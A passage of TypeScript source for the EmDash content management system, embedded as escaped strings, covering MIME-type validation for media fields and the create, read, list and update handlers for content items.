null;\n}\n\n/**\n * Extract the `allowedMimeTypes` list from a `_emdash_fields.validation` row\n * (raw JSON string). Returns null when the value is missing, malformed, or the\n * list is empty — callers treat that as \"no field-specific constraint\".\n */\nexport function parseAllowedMimeTypes(rawValidation: string | null | undefined): string[] | null {\n\tif (!rawValidation) return null;\n\ttry {\n\t\tconst parsed: unknown = JSON.parse(rawValidation);\n\t\tif (typeof parsed !== \"object\" || parsed === null) return null;\n\t\tconst list = (parsed as { allowedMimeTypes?: unknown }).allowedMimeTypes;\n\t\tif (!Array.isArray(list) || list.length === 0) return null;\n\t\treturn list.filter((entry): entry is string => typeof entry === \"string\");\n\t} catch {\n\t\treturn null;\n\t}\n}\n","import type { Kysely } from \"kysely\";\n\nimport type { Database } from \"../../database/types.js\";\nimport { matchesMimeAllowlist, parseAllowedMimeTypes } from \"../../media/mime.js\";\nimport { requestCached } from \"../../request-cache.js\";\nimport { chunks, SQL_BATCH_SIZE } from \"../../utils/chunks.js\";\nimport type { ApiResult } from \"../types.js\";\n\ninterface FieldRow {\n\tslug: string;\n\ttype: string;\n\tallowedMimeTypes: string[];\n}\n\ninterface MediaRefValue {\n\tid?: unknown;\n\tprovider?: unknown;\n\tmimeType?: unknown;\n}\n\nfunction asMediaRef(value: unknown): MediaRefValue | null {\n\tif (value === null || value === undefined) return null;\n\tif (typeof value !== \"object\" || Array.isArray(value)) return null;\n\treturn value as MediaRefValue;\n}\n\nfunction fail(message: string): ApiResult<never> {\n\treturn { success: false, error: { code: \"INVALID_MIME_FOR_FIELD\", message } };\n}\n\nasync function loadMediaFieldsForCollection(\n\tdb: Kysely<Database>,\n\tcollectionSlug: string,\n): Promise<FieldRow[]> {\n\tconst rows = await db\n\t\t.selectFrom(\"_emdash_fields\")\n\t\t.innerJoin(\"_emdash_collections\", \"_emdash_collections.id\", \"_emdash_fields.collection_id\")\n\t\t.select([\"_emdash_fields.slug\", \"_emdash_fields.type\", \"_emdash_fields.validation\"])\n\t\t.where(\"_emdash_collections.slug\", \"=\", collectionSlug)\n\t\t.where(\"_emdash_fields.type\", \"in\", [\"file\", \"image\"])\n\t\t.execute();\n\n\tconst out: FieldRow[] = [];\n\tfor (const row of rows) {\n\t\tconst list = parseAllowedMimeTypes(row.validation);\n\t\tif (!list) continue;\n\t\tout.push({ slug: row.slug, type: row.type, allowedMimeTypes: list });\n\t}\n\treturn out;\n}\n\nexport async function validateMediaFields(\n\tdb: Kysely<Database>,\n\tcollectionSlug: string,\n\tdata: Record<string, unknown>,\n): Promise<ApiResult<true>> {\n\t// Cache is keyed on slug only. If a handler creates/modifies a field and\n\t// then writes content in the same request (e.g. bulk import), the cached\n\t// list will be stale for that request. This is an edge case in normal use.\n\tconst fields = await requestCached(`mediaFields:${collectionSlug}`, () =>\n\t\tloadMediaFieldsForCollection(db, collectionSlug),\n\t);\n\tif (fields.length === 0) return { success: true, data: true };\n\n\t// Collect local media ids that need a MIME lookup\n\tconst localIds = new Set<string>();\n\tfor (const field of fields) {\n\t\tconst ref = asMediaRef(data[field.slug]);\n\t\tif (!ref) continue;\n\t\tconst provider = typeof ref.provider === \"string\" ? ref.provider : \"local\";\n\t\tif (provider === \"local\" && typeof ref.id === \"string\") {\n\t\t\tlocalIds.add(ref.id);\n\t\t}\n\t}\n\n\t// Batch-load local media MIMEs\n\tconst idList = [...localIds];\n\tconst mimeById = new Map<string, string>();\n\tif (idList.length > 0) {\n\t\tfor (const batch of chunks(idList, SQL_BATCH_SIZE)) {\n\t\t\tconst rows = await db\n\t\t\t\t.selectFrom(\"media\")\n\t\t\t\t.select([\"id\", \"mime_type\"])\n\t\t\t\t.where(\"id\", \"in\", batch)\n\t\t\t\t.execute();\n\t\t\tfor (const r of rows) mimeById.set(r.id, r.mime_type);\n\t\t}\n\t}\n\n\tfor (const field of fields) {\n\t\tconst value = data[field.slug];\n\t\tif (value === null || value === undefined) continue;\n\t\tconst ref = asMediaRef(value);\n\t\tif (!ref) continue;\n\n\t\tconst provider = typeof ref.provider === \"string\" ? ref.provider : \"local\";\n\n\t\t// External providers carry mimeType in the ref; trust it as-is.\n\t\t// Local media: look up the stored mimeType by id.\n\t\tlet mime: string | undefined;\n\t\tif (provider === \"local\") {\n\t\t\tif (typeof ref.id !== \"string\") {\n\t\t\t\treturn fail(`Field '${field.slug}' references media with an invalid id`);\n\t\t\t}\n\t\t\tmime = mimeById.get(ref.id);\n\t\t\tif (!mime) {\n\t\t\t\treturn fail(`Field '${field.slug}' references media with unknown MIME type`);\n\t\t\t}\n\t\t} else {\n\t\t\tif (typeof ref.mimeType !== \"string\") {\n\t\t\t\treturn fail(`Field '${field.slug}' requires a mimeType declaration for non-local media`);\n\t\t\t}\n\t\t\t// TODO: long-term, consider a server-side HEAD probe or provider-vouched\n\t\t\t// MIMEs for non-local refs; for now the constraint is only as strong as\n\t\t\t// the client that constructed the ref.\n\t\t\tmime = ref.mimeType;\n\t\t}\n\n\t\tif (!matchesMimeAllowlist(mime, field.allowedMimeTypes)) {\n\t\t\treturn fail(`Field '${field.slug}' does not accept ${mime}`);\n\t\t}\n\t}\n\n\treturn { success: true, data: true };\n}\n","/**\n * Content CRUD handlers\n */\n\nimport type { Kysely } from \"kysely\";\nimport { sql } from \"kysely\";\n\nimport { BylineRepository } from \"../../database/repositories/byline.js\";\nimport type { ContentBylineInput } from \"../../database/repositories/byline.js\";\nimport { CommentRepository } from \"../../database/repositories/comment.js\";\nimport { ContentRepository } from \"../../database/repositories/content.js\";\nimport { RedirectRepository } from \"../../database/repositories/redirect.js\";\nimport { RevisionRepository } from \"../../database/repositories/revision.js\";\nimport { SeoRepository } from \"../../database/repositories/seo.js\";\nimport {\n\tEmDashValidationError,\n\tInvalidCursorError,\n\ttype ContentItem,\n\ttype ContentSeo,\n\ttype ContentSeoInput,\n} from \"../../database/repositories/types.js\";\nimport { withTransaction } from \"../../database/transaction.js\";\nimport type { Database } from \"../../database/types.js\";\nimport { validateIdentifier } from \"../../database/validate.js\";\nimport { isI18nEnabled } from \"../../i18n/config.js\";\nimport { invalidateRedirectCache } from \"../../redirects/cache.js\";\nimport { isMissingTableError } from \"../../utils/db-errors.js\";\nimport { encodeRev, validateRev } from \"../rev.js\";\nimport type { ApiResult, ContentListResponse, ContentResponse } from \"../types.js\";\nimport { validateMediaFields } from \"./validate-media-fields.js\";\n\n/**\n * Narrow a caught error to one carrying a structured `apiError` discriminant.\n * Used by transaction callbacks that want to surface a specific error code\n * through the standard Error throwing path.\n */\nfunction hasApiError(error: unknown): error is Error & { apiError: { code: string } } {\n\tif (!(error instanceof Error) || !(\"apiError\" in error)) return false;\n\tconst { apiError } = error;\n\treturn (\n\t\ttypeof apiError === \"object\" &&\n\t\tapiError !== null &&\n\t\t\"code\" in apiError &&\n\t\ttypeof apiError.code === \"string\"\n\t);\n}\n\n/**\n * Extract a slug source (title or name) from content data.\n * Returns null if no suitable string field is found.\n */\nfunction getSlugSource(data: Record<string, unknown>): string | null {\n\tif (typeof data.title === \"string\" && data.title.length > 0) return data.title;\n\tif (typeof data.name === \"string\" && data.name.length > 0) return data.name;\n\treturn null;\n}\n\n/** Default SEO values for content without an explicit SEO row */\nconst SEO_DEFAULTS: ContentSeo = {\n\ttitle: null,\n\tdescription: null,\n\timage: null,\n\tcanonical: null,\n\tnoIndex: false,\n};\n\n/**\n * Check if a collection has SEO enabled.\n */\nasync function collectionHasSeo(db: Kysely<Database>, collection: string): Promise<boolean> {\n\tconst row = await db\n\t\t.selectFrom(\"_emdash_collections\")\n\t\t.select(\"has_seo\")\n\t\t.where(\"slug\", \"=\", collection)\n\t\t.executeTakeFirst();\n\treturn row?.has_seo === 1;\n}\n\n/**\n * Hydrate SEO data on a single content item if the collection has SEO enabled.\n */\nasync function hydrateSeo(\n\tdb: Kysely<Database>,\n\tcollection: string,\n\titem: ContentItem,\n\thasSeo: boolean,\n): Promise<void> {\n\tif (!hasSeo) return;\n\tconst seoRepo = new SeoRepository(db);\n\titem.seo = await seoRepo.get(collection, item.id);\n}\n\n/**\n * Hydrate SEO data on multiple content items using a single batch query.\n */\nasync function hydrateSeoMany(\n\tdb: Kysely<Database>,\n\tcollection: string,\n\titems: ContentItem[],\n\thasSeo: boolean,\n): Promise<void> {\n\tif (!hasSeo || items.length === 0) return;\n\tconst seoRepo = new SeoRepository(db);\n\tconst seoMap = await seoRepo.getMany(\n\t\tcollection,\n\t\titems.map((i) => i.id),\n\t);\n\tfor (const item of items) {\n\t\titem.seo = seoMap.get(item.id) ?? { ...SEO_DEFAULTS };\n\t}\n}\n\nasync function hydrateBylines(\n\tdb: Kysely<Database>,\n\tcollection: string,\n\titem: ContentItem,\n): Promise<void> {\n\tconst bylineRepo = new BylineRepository(db);\n\tconst bylines = await bylineRepo.getContentBylines(collection, item.id);\n\n\tif (bylines.length > 0) {\n\t\titem.bylines = bylines.map((c) => ({ ...c, source: \"explicit\" as const }));\n\t\titem.byline = bylines[0]?.byline ?? null;\n\t\treturn;\n\t}\n\n\t// Defensive: if primaryBylineId is set but no junction rows exist, it's orphaned\n\tif (item.primaryBylineId) {\n\t\titem.primaryBylineId = null;\n\t}\n\n\tif (item.authorId) {\n\t\tconst fallback = await bylineRepo.findByUserId(item.authorId);\n\t\tif (fallback) {\n\t\t\titem.bylines = [{ byline: fallback, sortOrder: 0, roleLabel: null, source: \"inferred\" }];\n\t\t\titem.byline = fallback;\n\t\t\treturn;\n\t\t}\n\t}\n\n\titem.bylines = [];\n\titem.byline = null;\n}\n\n/**\n * Batch-hydrate bylines for multiple items using two bulk queries instead of N+1.\n */\nasync function hydrateBylinesMany(\n\tdb: Kysely<Database>,\n\tcollection: string,\n\titems: ContentItem[],\n): Promise<void> {\n\tif (items.length === 0) return;\n\n\tconst bylineRepo = new BylineRepository(db);\n\n\t// 1. Batch fetch all explicit byline credits\n\tconst contentIds = items.map((i) => i.id);\n\tconst bylinesMap = await bylineRepo.getContentBylinesMany(collection, contentIds);\n\n\t// 2. Collect authorIds that need fallback lookup\n\tconst fallbackAuthorIds: string[] = [];\n\tfor (const item of items) {\n\t\tif (!bylinesMap.has(item.id) && item.authorId) {\n\t\t\tfallbackAuthorIds.push(item.authorId);\n\t\t}\n\t}\n\n\t// 3. Batch fetch user-linked bylines for fallback\n\tconst uniqueAuthorIds = [...new Set(fallbackAuthorIds)];\n\tconst authorBylineMap = await bylineRepo.findByUserIds(uniqueAuthorIds);\n\n\t// 4. Assign to each item\n\tfor (const item of items) {\n\t\tconst explicit = bylinesMap.get(item.id);\n\t\tif (explicit && explicit.length > 0) {\n\t\t\titem.bylines = explicit.map((c) => ({ ...c, source: \"explicit\" as const }));\n\t\t\titem.byline = explicit[0]?.byline ?? null;\n\t\t\tcontinue;\n\t\t}\n\n\t\t// Defensive: if primaryBylineId is set but no junction rows exist, it's orphaned\n\t\tif (item.primaryBylineId) {\n\t\t\titem.primaryBylineId = null;\n\t\t}\n\n\t\tif (item.authorId) {\n\t\t\tconst fallback = authorBylineMap.get(item.authorId);\n\t\t\tif (fallback) {\n\t\t\t\titem.bylines = [{ byline: fallback, sortOrder: 0, roleLabel: null, source: \"inferred\" }];\n\t\t\t\titem.byline = fallback;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t}\n\n\t\titem.bylines = [];\n\t\titem.byline = null;\n\t}\n}\n\n/**\n * Resolve an identifier (ID or slug) to a real content ID.\n * Returns the ID if found, null if not found.\n * When locale is provided, slug lookups are scoped to that locale.\n */\nasync function resolveId(\n\trepo: ContentRepository,\n\tcollection: string,\n\tidentifier: string,\n\tlocale?: string,\n): Promise<string | null> {\n\tconst item = await repo.findByIdOrSlug(collection, identifier, locale);\n\treturn item?.id ?? null;\n}\n\n/**\n * Resolve an identifier (ID or slug) to a real content ID,\n * including trashed (soft-deleted) items.\n */\nasync function resolveIdIncludingTrashed(\n\trepo: ContentRepository,\n\tcollection: string,\n\tidentifier: string,\n\tlocale?: string,\n): Promise<string | null> {\n\tconst item = await repo.findByIdOrSlugIncludingTrashed(collection, identifier, locale);\n\treturn item?.id ?? null;\n}\n\n/**\n * Trashed content item with deletion timestamp\n */\nexport interface TrashedContentItem {\n\tid: string;\n\ttype: string;\n\tslug: string | null;\n\tstatus: string;\n\tdata: Record<string, unknown>;\n\tauthorId: string | null;\n\tcreatedAt: string;\n\tupdatedAt: string;\n\tpublishedAt: string | null;\n\tdeletedAt: string;\n}\n\n/**\n * Create content list handler\n */\nexport async function handleContentList(\n\tdb: Kysely<Database>,\n\tcollection: string,\n\tparams: {\n\t\tcursor?: string;\n\t\tlimit?: number;\n\t\tstatus?: string;\n\t\torderBy?: string;\n\t\torder?: \"asc\" | \"desc\";\n\t\tlocale?: string;\n\t},\n): Promise<ApiResult<ContentListResponse>> {\n\ttry {\n\t\tconst repo = new ContentRepository(db);\n\t\tconst where: { status?: string; locale?: string } = {};\n\t\tif (params.status) where.status = params.status;\n\t\tif (params.locale) where.locale = params.locale;\n\n\t\tconst result = await repo.findMany(collection, {\n\t\t\tcursor: params.cursor,\n\t\t\tlimit: params.limit || 50,\n\t\t\twhere: Object.keys(where).length > 0 ? where : undefined,\n\t\t\torderBy: params.orderBy\n\t\t\t\t? { field: params.orderBy, direction: params.order || \"desc\" }\n\t\t\t\t: undefined,\n\t\t});\n\n\t\t// Hydrate SEO data if the collection has SEO enabled\n\t\tconst hasSeo = await collectionHasSeo(db, collection);\n\t\tawait hydrateSeoMany(db, collection, result.items, hasSeo);\n\t\tawait hydrateBylinesMany(db, collection, result.items);\n\n\t\treturn {\n\t\t\tsuccess: true,\n\t\t\tdata: {\n\t\t\t\titems: result.items,\n\t\t\t\tnextCursor: result.nextCursor,\n\t\t\t},\n\t\t};\n\t} catch (error) {\n\t\tif (error instanceof InvalidCursorError) {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: { code: \"INVALID_CURSOR\", message: error.message },\n\t\t\t};\n\t\t}\n\t\tif (isMissingTableError(error)) {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: {\n\t\t\t\t\tcode: \"COLLECTION_NOT_FOUND\",\n\t\t\t\t\tmessage: `Collection '${collection}' not found`,\n\t\t\t\t},\n\t\t\t};\n\t\t}\n\t\tif (error instanceof EmDashValidationError) {\n\t\t\t// e.g. invalid orderBy field\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: { code: \"VALIDATION_ERROR\", message: error.message },\n\t\t\t};\n\t\t}\n\t\tconsole.error(\"Content list error:\", error);\n\t\treturn {\n\t\t\tsuccess: false,\n\t\t\terror: {\n\t\t\t\tcode: \"CONTENT_LIST_ERROR\",\n\t\t\t\tmessage: \"Failed to list content\",\n\t\t\t},\n\t\t};\n\t}\n}\n\n/**\n * Get single content item\n */\nexport async function handleContentGet(\n\tdb: Kysely<Database>,\n\tcollection: string,\n\tid: string,\n\tlocale?: string,\n): Promise<ApiResult<ContentResponse>> {\n\ttry {\n\t\tconst repo = new ContentRepository(db);\n\t\tconst item = await repo.findByIdOrSlug(collection, id, locale);\n\n\t\tif (!item) {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: {\n\t\t\t\t\tcode: \"NOT_FOUND\",\n\t\t\t\t\tmessage: `Content item not found: ${id}`,\n\t\t\t\t},\n\t\t\t};\n\t\t}\n\n\t\t// Hydrate SEO data if the collection has SEO enabled\n\t\tconst hasSeo = await collectionHasSeo(db, collection);\n\t\tawait hydrateSeo(db, collection, item, hasSeo);\n\t\tawait hydrateBylines(db, collection, item);\n\n\t\treturn {\n\t\t\tsuccess: true,\n\t\t\tdata: { item, _rev: encodeRev(item) },\n\t\t};\n\t} catch (error) {\n\t\tconsole.error(\"Content get error:\", error);\n\t\treturn {\n\t\t\tsuccess: false,\n\t\t\terror: {\n\t\t\t\tcode: \"CONTENT_GET_ERROR\",\n\t\t\t\tmessage: \"Failed to get content\",\n\t\t\t},\n\t\t};\n\t}\n}\n\n/**\n * Get a content item by id, including trashed items.\n * Used by restore endpoint for ownership checks on soft-deleted items.\n */\nexport async function handleContentGetIncludingTrashed(\n\tdb: Kysely<Database>,\n\tcollection: string,\n\tid: string,\n\tlocale?: string,\n): Promise<ApiResult<ContentResponse>> {\n\ttry {\n\t\tconst repo = new ContentRepository(db);\n\t\tconst item = await repo.findByIdOrSlugIncludingTrashed(collection, id, locale);\n\n\t\tif (!item) {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: {\n\t\t\t\t\tcode: \"NOT_FOUND\",\n\t\t\t\t\tmessage: `Content item not found: ${id}`,\n\t\t\t\t},\n\t\t\t};\n\t\t}\n\n\t\t// Hydrate SEO data if the collection has SEO enabled\n\t\tconst hasSeo = await collectionHasSeo(db, collection);\n\t\tawait hydrateSeo(db, collection, item, hasSeo);\n\t\tawait hydrateBylines(db, collection, item);\n\n\t\treturn {\n\t\t\tsuccess: true,\n\t\t\tdata: { item, _rev: encodeRev(item) },\n\t\t};\n\t} catch (error) {\n\t\tconsole.error(\"Content get error:\", error);\n\t\treturn {\n\t\t\tsuccess: false,\n\t\t\terror: {\n\t\t\t\tcode: \"CONTENT_GET_ERROR\",\n\t\t\t\tmessage: \"Failed to get content\",\n\t\t\t},\n\t\t};\n\t}\n}\n\n/**\n * Create content item.\n *\n * Content + SEO writes are wrapped in a transaction so either both succeed\n * or neither does. If `body.seo` is provided for a non-SEO collection, the\n * API returns a validation error rather than silently dropping it.\n */\nexport async function handleContentCreate(\n\tdb: Kysely<Database>,\n\tcollection: string,\n\tbody: {\n\t\tdata: Record<string, unknown>;\n\t\tslug?: string;\n\t\tstatus?: string;\n\t\tauthorId?: string;\n\t\tbylines?: ContentBylineInput[];\n\t\tlocale?: string;\n\t\ttranslationOf?: string;\n\t\tseo?: ContentSeoInput;\n\t\tcreatedAt?: string | null;\n\t\tpublishedAt?: string | null;\n\t},\n): Promise<ApiResult<ContentResponse>> {\n\ttry {\n\t\tconst hasSeo = await collectionHasSeo(db, collection);\n\n\t\t// Reject SEO input for non-SEO collections\n\t\tif (body.seo && !hasSeo) {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: {\n\t\t\t\t\tcode: \"VALIDATION_ERROR\",\n\t\t\t\t\tmessage: `Collection \"${collection}\" does not have SEO enabled. Remove the seo field or enable SEO on this collection.`,\n\t\t\t\t},\n\t\t\t};\n\t\t}\n\n\t\tconst mimeCheck = await validateMediaFields(db, collection, body.data);\n\t\tif (!mimeCheck.success) return mimeCheck;\n\n\t\t// Wrap content + SEO writes in a transaction for atomicity\n\t\tconst item = await withTransaction(db, async (trx) => {\n\t\t\tconst repo = new ContentRepository(trx);\n\t\t\tconst bylineRepo = new BylineRepository(trx);\n\n\t\t\t// Auto-generate slug from title/name if not explicitly provided\n\t\t\tlet slug: string | null | undefined = body.slug;\n\t\t\tif (!slug) {\n\t\t\t\tconst slugSource = getSlugSource(body.data);\n\t\t\t\tif (slugSource) {\n\t\t\t\t\tslug = await repo.generateUniqueSlug(collection, slugSource, body.locale);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tconst created = await repo.create({\n\t\t\t\ttype: collection,\n\t\t\t\tslug,\n\t\t\t\tdata: body.data,\n\t\t\t\tstatus: body.status || \"draft\",\n\t\t\t\tauthorId: body.authorId,\n\t\t\t\tlocale: body.locale,\n\t\t\t\ttranslationOf: body.translationOf,\n\t\t\t\tcreatedAt: body.createdAt,\n\t\t\t\tpublishedAt: body.publishedAt,\n\t\t\t});\n\n\t\t\tif (body.bylines !== undefined) {\n\t\t\t\tawait bylineRepo.setContentBylines(collection, created.id, body.bylines);\n\t\t\t\tcreated.primaryBylineId = body.bylines[0]?.bylineId ?? null;\n\t\t\t}\n\t\t\tawait hydrateBylines(trx, collection, created);\n\n\t\t\t// When this row is a translation of an existing item, inherit the\n\t\t\t// source's taxonomy assignments. The pivot stores translation_groups\n\t\t\t// so the copied rows apply to every locale of the translation group\n\t\t\t// (existing per-locale assignments still resolve correctly in\n\t\t\t// `getEntryTerms` because the join picks the locale-specific row).\n\t\t\tif (body.translationOf) {\n\t\t\t\tconst { TaxonomyRepository } = await import(\"../../database/repositories/taxonomy.js\");\n\t\t\t\tconst taxRepo = new TaxonomyRepository(trx);\n\t\t\t\tawait taxRepo.copyEntryTerms(collection, body.translationOf, created.id);\n\t\t\t}\n\n\t\t\t// Side-write SEO data if provided\n\t\t\tif (body.seo && hasSeo) {\n\t\t\t\tconst seoRepo = new SeoRepository(trx);\n\t\t\t\tcreated.seo = await seoRepo.upsert(collection, created.id, body.seo);\n\t\t\t} else if (hasSeo) {\n\t\t\t\t// Assign defaults in-memory — no DB round-trip needed\n\t\t\t\tcreated.seo = { ...SEO_DEFAULTS };\n\t\t\t}\n\n\t\t\treturn created;\n\t\t});\n\n\t\treturn {\n\t\t\tsuccess: true,\n\t\t\tdata: { item, _rev: encodeRev(item) },\n\t\t};\n\t} catch (error) {\n\t\tif (isMissingTableError(error)) {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: {\n\t\t\t\t\tcode: \"COLLECTION_NOT_FOUND\",\n\t\t\t\t\tmessage: `Collection '${collection}' not found`,\n\t\t\t\t},\n\t\t\t};\n\t\t}\n\t\tif (error instanceof EmDashValidationError) {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: { code: \"VALIDATION_ERROR\", message: error.message },\n\t\t\t};\n\t\t}\n\t\t// SQLite UNIQUE constraint OR Postgres unique_violation — slug\n\t\t// collisions and any other unique violations land here. Match\n\t\t// specifically on \"unique constraint failed\" / \"duplicate key\" so we\n\t\t// don't false-positive on NOT NULL or CHECK violations whose\n\t\t// messages also contain \"constraint failed\".\n\t\tconst message = error instanceof Error ? error.message.toLowerCase() : \"\";\n\t\tif (message.includes(\"unique constraint failed\") || message.includes(\"duplicate key\")) {\n\t\t\t// Detect slug-specific collisions by message fingerprint\n\t\t\tif (message.includes(\"slug\")) {\n\t\t\t\treturn {\n\t\t\t\t\tsuccess: false,\n\t\t\t\t\terror: {\n\t\t\t\t\t\tcode: \"SLUG_CONFLICT\",\n\t\t\t\t\t\tmessage: `Slug '${body.slug ?? \"(auto-generated)\"}' already exists in collection '${collection}'`,\n\t\t\t\t\t},\n\t\t\t\t};\n\t\t\t}\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: {\n\t\t\t\t\tcode: \"CONFLICT\",\n\t\t\t\t\tmessage: \"Unique constraint violation\",\n\t\t\t\t},\n\t\t\t};\n\t\t}\n\t\tconsole.error(\"Content create error:\", error);\n\t\treturn {\n\t\t\tsuccess: false,\n\t\t\terror: {\n\t\t\t\tcode: \"CONTENT_CREATE_ERROR\",\n\t\t\t\tmessage: \"Failed to create content\",\n\t\t\t},\n\t\t};\n\t}\n}\n\n/**\n * Update content item.\n * If `_rev` is provided, validates it against the current version before writing.\n * No `_rev` = blind write (backwards-compatible for admin UI).\n *\n * Content + SEO writes are wrapped in a transaction for atomicity.\n */\nexport async function handleContentUpdate(\n\tdb: Kysely<Database>,\n\tcollection: string,\n\tid: string,\n\tbody: {\n\t\tdata?: Record<string, unknown>;\n\t\tslug?: string;\n\t\tstatus?: string;\n\t\tauthorId?: string | null;\n\t\tbylines?: ContentBylineInput[];\n\t\t_rev?: string;\n\t\tseo?: ContentSeoInput;\n\t\tpublishedAt?: string | null;\n\t},\n): Promise<ApiResult<ContentResponse>> {\n\ttry {\n\t\tconst hasSeo = await collectionHasSeo(db, collection);\n\n\t\t// Reject SEO input for non-SEO collections\n\t\tif (body.seo && !hasSeo) {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: {\n\t\t\t\t\tcode: \"VALIDATION_ERROR\",\n\t\t\t\t\tmessage: `Collection \"${collection}\" does not have SEO enabled. Remove the seo field or enable SEO on this collection.`,\n\t\t\t\t},\n\t\t\t};\n\t\t}\n\n\t\tif (body.data) {\n\t\t\tconst mimeCheck = await validateMediaFields(db, collection, body.data);\n\t\t\tif (!mimeCheck.success) return mimeCheck;\n\t\t}\n\n\t\tconst repo = new ContentRepository(db);\n\n\t\t// Resolve slug → ID if needed\n\t\tconst resolvedId = (await resolveId(repo, collection, id)) ?? id;\n\n\t\t// Wrap content + SEO writes in a transaction for atomicity.\n\t\t// The _rev check is inside the transaction so the read-then-write\n\t\t// is atomic -- no concurrent write can slip between the check and update.\n\t\tconst item = await withTransaction(db, async (trx) => {\n\t\t\tconst trxRepo = new ContentRepository(trx);\n\t\t\tconst bylineRepo = new BylineRepository(trx);\n\n\t\t\t// Read existing item once for both _rev check and old slug capture\n\t\t\tconst existing =\n\t\t\t\tbody._rev || body.slug ? await trxRepo.findById(collection, resolvedId) : null;\n\n\t\t\t// Validate _rev if provided (optimistic concurrency)\n\t\t\tif (body._rev) {\n\t\t\t\tif (!existing) {\n\t\t\t\t\tthrow Object.assign(new Error(`Content item not found: ${id}`), {\n\t\t\t\t\t\tapiError: { code: \"NOT_FOUND\" as const },\n\t\t\t\t\t});\n\t\t\t\t}\n\n\t\t\t\tconst revCheck = validateRev(body._rev, existing);\n\t\t\t\tif (!revCheck.valid) {\n\t\t\t\t\tthrow Object.assign(new Error(revCheck.message), {\n\t\t\t\t\t\tapiError: { code: \"CONFLICT\" as const },\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Capture old slug before update for auto-redirect\n\t\t\tlet oldSlug: string | undefined;\n\t\t\tif (body.slug && existing?.slug && existing.slug !== body.slug) {\n\t\t\t\toldSlug = existing.slug;\n\t\t\t}\n\n\t\t\tconst updated = await trxRepo.update(collection, resolvedId, {\n\t\t\t\tdata: body.data,\n\t\t\t\tslug: body.slug,\n\t\t\t\tstatus: body.status,\n\t\t\t\tauthorId: body.authorId,\n\t\t\t\tpublishedAt: body.publishedAt,\n\t\t\t});\n\n\t\t\tif (body.bylines !== undefined) {\n\t\t\t\tawait bylineRepo.setContentBylines(collection, resolvedId, body.bylines);\n\t\t\t\tupdated.primaryBylineId = body.bylines[0]?.bylineId ?? null;\n\t\t\t}\n\n\t\t\t// Create auto-redirect when slug changes\n\t\t\tif (oldSlug && body.slug) {\n\t\t\t\tconst collectionRow = await trx\n\t\t\t\t\t.selectFrom(\"_emdash_collections\")\n\t\t\t\t\t.select(\"url_pattern\")\n\t\t\t\t\t.where(\"slug\", \"=\", collection)\n\t\t\t\t\t.executeTakeFirst();\n\n\t\t\t\tconst redirectRepo = new RedirectRepository(trx);\n\t\t\t\tawait redirectRepo.createAutoRedirect(\n\t\t\t\t\tcollection,\n\t\t\t\t\toldSlug,\n\t\t\t\t\tbody.slug,\n\t\t\t\t\tresolvedId,\n\t\t\t\t\tcollectionRow?.url_pattern ?? null,\n\t\t\t\t);\n\t\t\t\tinvalidateRedirectCache();\n\t\t\t}\n\n\t\t\t// Sync non-translatable fields to sibling locales in the same\n\t\t\t// translation group. Only runs when i18n is enabled, data was updated,\n\t\t\t// and the item belongs to a translation group with siblings.\n\t\t\tif (isI18nEnabled() && body.data && updated.translationGroup) {\n\t\t\t\tawait syncNonTranslatableFields(\n\t\t\t\t\ttrx,\n\t\t\t\t\tcollection,\n\t\t\t\t\tupdated.id,\n\t\t\t\t\tupdated.translationGroup,\n\t\t\t\t\tbody.data,\n\t\t\t\t);\n\t\t\t}\n\n\t\t\t// Side-write SEO data if provided, always hydrate for SEO-enabled collections\n\t\t\tif (body.seo && hasSeo) {\n\t\t\t\tconst seoRepo = new SeoRepository(trx);\n\t\t\t\tupdated.seo = await seoRepo.upsert(collection, resolvedId, body.seo);\n\t\t\t} else if (hasSeo) {\n\t\t\t\tconst seoRepo = new SeoRepository(trx);\n\t\t\t\tupdated.seo = await seoRepo.get(collection, resolvedId);\n\t\t\t}\n\n\t\t\tawait hydrateBylines(trx, collection, updated);\n\n\t\t\treturn updated;\n\t\t});\n\n\t\treturn {\n\t\t\tsuccess: true,\n\t\t\tdata: { item, _rev: encodeRev(item) },\n\t\t};\n\t} catch (error) {\n\t\t// Handle structured errors thrown from inside the transaction\n\t\t// (rev check failures, not-found)\n\t\tif (hasApiError(error)) {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: { code: error.apiError.code, message: error.message },\n\t\t\t};\n\t\t}\n\t\tif (isMissingTableError(error)) {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: {\n\t\t\t\t\tcode: \"COLLECTION_NOT_FOUND\",\n\t\t\t\t\tmessage: `Collection '${collection}' not found`,\n\t\t\t\t},\n\t\t\t};\n\t\t}\n\t\tif (error instanceof EmDashValidationError) {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: { code: \"VALIDATION_ERROR\", message: error.message },\n\t\t\t};\n\t\t}\n\t\tconst message = error instanceof Error ? error.message.toLowerCase() : \"\";\n\t\tif (message.includes(\"unique constraint failed\") || message.includes(\"duplicate key\")) {\n\t\t\tif (message.includes(\"slug\")) {\n\t\t\t\treturn {\n\t\t\t\t\tsuccess: false,\n\t\t\t\t\terror: {\n\t\t\t\t\t\tcode: \"SLUG_CONFLICT\",\n\t\t\t\t\t\tmessage: `Slug '${body.slug ?? id}' already exists in collection '${collection}'`,\n\t\t\t\t\t},\n\t\t\t\t};\n\t\t\t}\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: {\n\t\t\t\t\tcode: \"CONFLICT\",\n\t\t\t\t\tmessage: \"Unique constraint violation\",\n\t\t\t\t},\n\t\t\t};\n\t\t}\n\t\tconsole.error(\"Content update error:\", error);\n\t\treturn {\n\t\t\tsuccess: false,\n\t\t\terror: {\n\t\t\t\tcode: 